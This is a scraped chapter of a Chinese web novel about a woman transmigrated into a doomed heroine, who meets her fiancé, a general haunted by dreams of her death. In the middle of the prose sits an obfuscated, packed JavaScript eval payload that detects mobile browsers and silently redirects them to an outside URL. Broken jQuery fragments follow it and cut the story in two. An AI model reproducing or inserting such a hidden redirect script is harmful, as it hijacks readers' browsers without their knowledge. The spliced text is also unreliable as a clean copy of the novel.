“翠云,慢些走。”
“好。”翠云叹了口气,她家小姐近来总这样,走路弱风扶柳般东倒西歪的,连仪态也不顾及了。
苏洛只顾着回忆书中的剧情,哪管得了这么多,她记得原主与萧迟安幼时曾互情愫,是双天造地设的璧人。
按着寻常的故事发展,两小无猜的年纪遇见佳人,二人本应顺理成章地携手过完此生。
怎料天不遂人愿,一纸调令命萧迟安远赴北境,出兵抗击苍夷。
情投意合的两人被迫分离,自此,这段前情往事陡然发生转变。
起初,萧迟安尚且顾及旧情,战事吃紧的情况下,也不忘时常与原主互通书信,故而两人虽远隔千里,心却紧紧倚靠在一起。
然而常言道,天下故人心最易变,边塞之艰苦,岂是区区几封书信可以抚慰的。
不知几何时,一个名为海日图雅的异族女子趁虚插足两人的情事,萧迟安被北境的黄沙迷了双眼,鬼迷心窍般非她不娶。
等到辰国军队凯旋时,原主早在雍京等到望穿秋水。
只是她没想到的是,好不容易把心上人盼回来,却也将退婚消息盼了回来。
天长地久有时尽,此恨绵绵无绝期。
萧迟安大婚当日,原主伤心欲绝,她明知事情无法回旋,却非得跑到镇北侯府找萧迟安讨个说法。
镇北侯府外张灯结彩,大红喜字贴满整个府邸,达官显贵也好,市井平民也罢,皆可入内贺喜,独独原主被勒令拒之门外。
原主不甘心候至深夜,她靠在大门外将睡未睡之际,却见镇北侯府火光冲天,喊杀声四起——苍国大军不知何时夜袭,烽火燃遍整个雍京。
雍京乱成一团,更不用提首当其冲的镇北侯府,原主龟缩在大门暗处才没被苍军发现。
不一会儿,镇北侯府大门便被破开,原主趁机潜进其中,却刚好撞见海日图雅提剑欲杀萧迟安。
“萧迟安,你看这剑可眼熟,当初你用它杀我那对无辜的爹娘时可有悔过?”
萧迟安与数十名苍军精锐鏖战,早已力竭,海日图雅从洞房内走出,轻易便将他一脚踢翻在地。
“我在你身边卑躬屈膝这么多年,终于等到这个机会了。”
海日图雅将大红盖头揭开,从衣袖里抽出一把短剑,横在萧迟安脖颈处,她的脸上闪过一丝狰狞的微笑。
原来,海日图雅本是苍国镇边将军的女儿,她的父母皆死于那场让萧迟安一战成名的战役。
大战当晚,海日图雅被母亲塞进木柜里,才躲过了劫难,隔着细小的缝隙,她将萧迟安的面孔看得一清二楚。
“我,一定会,亲手,杀了,你。”
木柜狭小,更何况硬挤进个半大的孩子,海日图雅不得不缩成一团,她不停地在脑海里回忆萧迟安的样子,并发誓一定会亲手杀死他。
辰国军队撤走后,苍国的援军这才姗姗来迟,整个将军府,竟只存活下海日图雅一人。
为了复仇,海日图雅刻苦学习间谍之术,活生生将自己打磨成了苍人手里最锋利的暗剑。
战役过后,北境的风雪落下又消融,光阴也流转过几轮。
一次偶然,海日图雅终于寻到接近萧迟安机会,她不惜改头换面,日日夜夜在萧迟安身边蛰伏,为的就是让他卸下心防。
功夫不得有心人。
几日前,趁着萧迟安去退婚之际,海日图雅寻到机会,她窃取雍京布防图,将其密送北境,引得苍军北下。
“有何后悔,苍军杀我大辰百姓数以万计,你阿父阿母更是残暴成性,以烧杀抢掠为乐,早该下十八层地狱,我不过是为民除害!”
“只可恨那对夫妻还留有子嗣,我亦是看走了眼,竟受了你这妖女蛊惑。早知有今日,我当初掘地三尺,也要将你碎尸万段。”
仇人相见,分外眼红。
萧迟安卧在地上,冷眼睨视海日图雅,二人昔日相处时的温情小意,全化作了如今的怨愤。
“嘴还真是硬呢。”海日图雅用短剑轻轻拍打着萧迟安的脖子,发出清脆的响声。
“不过,哈哈哈。”她放声大笑:“萧迟安,你现在说这些有用吗?我苍军铁骑已踏破永定门,雍京只是开始。”
“我要让你们整个辰国,为我阿父阿母陪葬。”
辰国将灭亡结局已注定,纵使神魔欲救世,也无力更改,更何况萧迟安这区区凡人。
只是万万没想到,是他萧迟安亲手埋下的祸患。
万千悔恨在萧迟安胸口激荡,镇北侯府世代忠良,唯独他萧迟安做了这害得山河破碎的罪人。
萧迟安咬牙切齿道:“海日图雅,我做鬼也不会放过你。”
不要……
原主悄悄躲在近处目睹了一切,她捂住了嘴,眼里满是惊恐。
“我岂会怕你这将死之人?多说无益,萧迟安,去地府向我爹娘赔罪吧。”
海日图雅不再犹豫,她将短剑向上举,准备刺死萧迟安。
“萧郎……”细软的女声响起,撕碎了横亘在萧迟安和海日图雅之间的死寂。
是……原主,她不知何时趁两人不注意,神不知鬼不觉地走了过去。
在这个千钧一发的时刻,她为萧迟安受了这必死的一剑,利刃划破衣物,刺进血肉里,绽放出旖旎的血花。
“洛儿?”萧迟安满脸不可置信地看着朝他飞奔而来的原主。
不是说好打了胜战便回来娶我吗,怎么娶别人了,骗子。
原主白皙的脸上浮现出苦涩的笑容,归京这么久,萧迟安终于舍得正眼瞧她一次了,只可惜,她要死了。
“苏洛,你怎会出现在此?”
苏洛没有回答,她根本没办法回答,血液无法止住,连带着她的生命力也跟着极速流失。
苏洛要死了,为了他而死。
萧迟安的眼泪似断了线的珠子,落满了两人重叠在一块儿的衣裳。
别哭啊,萧迟安……明明,这是你的选择,不是吗?
人临死前的走马灯闪过,原主心底升腾起一丝不甘。如果,当初萧迟安不退婚,结局会不会改变?
会吗?无人能回答。
最后的最后,走马灯的画面停留在那年初春。十五六岁的鲜衣怒马少年郎,出现在原主眼前,他朝她伸出手,问她要不要同自己浪迹天涯,再不回头……
好……原主答应了那少年,她想探出手去够那双手,却发现自己动弹不得。
“不,苏洛,求你了,你别死。”察觉到苏洛的动作,萧迟安将她紧紧抱住。
“来世,你我二人莫要再……”还来不及说完最终的遗言,原主便失去了力气,她栽倒在萧迟安的怀里,再没有了声息。
恩恩怨怨全凭借死亡化解,少时的情爱跟随荒唐婚事释怀,原主与萧迟安的故事也就此终结。
*
“小姐,留神,仔细台阶。”
翠云见苏洛心不在焉,就快要从台阶处踩空,连忙提醒道。
“好。”苏洛虽回神来,满脑子仍想着刚才的事。
她受够了这种女人非得为男主去死的桥段,如果换苏洛自己做原主,什么狗屁爱情,她根本不在意,她只要男人求着给自己做牛做马,当猫当狗。
苏府正厅内,苏相苏修平和夫人殷萱坐在太师椅两侧,神色端凝。
左侧方椅上坐着的,正是萧迟安,他正襟危坐,眉目舒朗,手里把玩着一青花瓷茶盏,看不出半分喜怒。
“北境偏远,贤侄连年征战辛苦,正好今日得空,不如在府上吃个家常便饭,顺道也可与小女叙叙旧。”
苏修平坐不住,他先开了口,笑容带着几分拘谨的讨好。
这几年陛下春秋日高,连带着做事也不如以前明察秋毫,苏修平几度进言,只换得皇帝的虎视眈眈。
眼下萧迟安战功赫赫,又与苏洛有婚约在身,若得他助力,苏修平在朝中也不至于这般举步维艰。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961995|214337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
为了头上那顶乌纱帽,苏修平想尽办法也要稳住萧迟安这个金龟婿。
“多年不见,是该好好与雍京的诸位叙叙旧。只是伯父莫急,我想先见见苏洛。”
萧迟安语气漫不经心,似乎并不在意苏修平的话,他轻呷了一口茶,指尖却悄悄攥紧。
茶是上等的碧螺春,只是那味道在萧迟安嘴里来回打着转儿,显得有些苦涩。
“已派丫鬟去唤她,小女这段时日染了风寒,行动迟缓,还望贤侄见谅。”
苏修平和殷萱对视了一眼后忙找托词,他们夫妻二人心中皆是一阵不安滑过。
苏洛自上个月坠入冰湖后就好似换了个人一般,时时语出惊人不说,做事也是不按常理出牌,也不知一会面对萧迟安时会作何反应。
“无妨,苏洛空守我数年,如今不过片刻,我等她便是。”
萧迟安将茶盏搁在桌上,他抿住唇做若有所思状。
想快些见到苏洛,萧迟安在心底这般念着,上月做的那场噩梦,至今犹如跗骨之蛆,在他脑海中挥之不去。
梦中之事如烙印般刻在萧迟安心上,他记得自己睁眼睛抬头时,只能看见手掌心处印染出一片浓稠的深色。
那颜色较之他身上的喜服还要红上几分。
“唔……”苏洛的闷哼声轻得像猫儿呜咽,她整个人栽倒进萧迟安怀中,汩汩鲜血从她的胸口处渗出来,烫得萧迟安手指发僵。
苏洛死了的事实在萧迟安脑海里盘旋,他避无可避,只因这是他一手造成的结局。
“不!!!”
梦境中的悲痛来得太真实,逼得萧迟安从睡梦中惊醒,醒后不由自主地发出声怅然悲鸣。
征战沙场多年,萧迟安在刀光剑影里滚过,也见惯了尔虞我诈,却从未想过……真的有人心甘情愿为他赴死。
真的,只是梦吗?萧迟安抿了口茶,仍旧心有余悸。
“爹爹,娘亲,孩儿来迟了。”
正当萧迟安颔首低眉沉思之际,正厅内走进一削肩瘦腰,身量纤纤的女子。
噩梦的阴霾被女人柔和的声音轻轻拂过,恍若鹅毛落入心田,萧迟安抬头仔细打量苏洛。
毛茸茸的狐毛大领拢在苏洛肩头,衬托得她那张瘦尖下巴的脸只有巴掌大小,秀山般的眉眼也因着毛领这么一烘,显出几分楚楚的可怜相来。
捉住她,一定要捉住她,唯有将苏洛绑在自己身边,日日夜夜照看着,才能缓解那噩梦带给自己的惊恐,萧迟安心底里莫名升腾起这样的念头。
他不远千里,披星戴月地赶回雍京,来到苏府,只为商量自己与苏洛的婚事。
他要尽快完婚,好将这些年的亏欠尽数偿还,他要将苏洛细心疼惜着爱护着,不叫她再受半分委屈。
“无事,这几日身体可有好些?”
哪有客人先到场等候主人的道理。
苏修平原想训斥苏洛几句,可顾念到萧迟安在场,他心中有怒气也不好发作,只好放缓了声音问苏洛。
苏洛恭敬地行了个礼:“好多了,多谢爹爹关心。“
说完,她转身落座到右侧方椅上。
萧迟安倒是生得幅好皮囊,不怪原主交付一片痴心。
苏洛美眸轻抬,眼神直勾勾地看着对面头戴金冠,神貌翩翩,一双眸子锐利如猛虎的男人。
约莫着是进宫面圣后,便急着赶来苏府退婚,萧迟安连身上的衣衫也没来得及换掉。
可又因为久经沙场,纵然着劲装,也丝毫不影响他身上自带的那股威仪之气。
苏洛不禁咂舌,暗叹萧迟安当真是位白马金羁,风采卓然的贵公子。
只可惜……不是个好东西。
不知为何,她忽然察觉胸中有股莫名情绪在乱窜,想来应是原主这幅身躯对萧迟安残存的感情记忆涌了上来。
[感受到高能量的情感波动,恭喜您解锁攻略系统,我是拾柒。]
一道没有感情的机械声在苏洛耳边响起。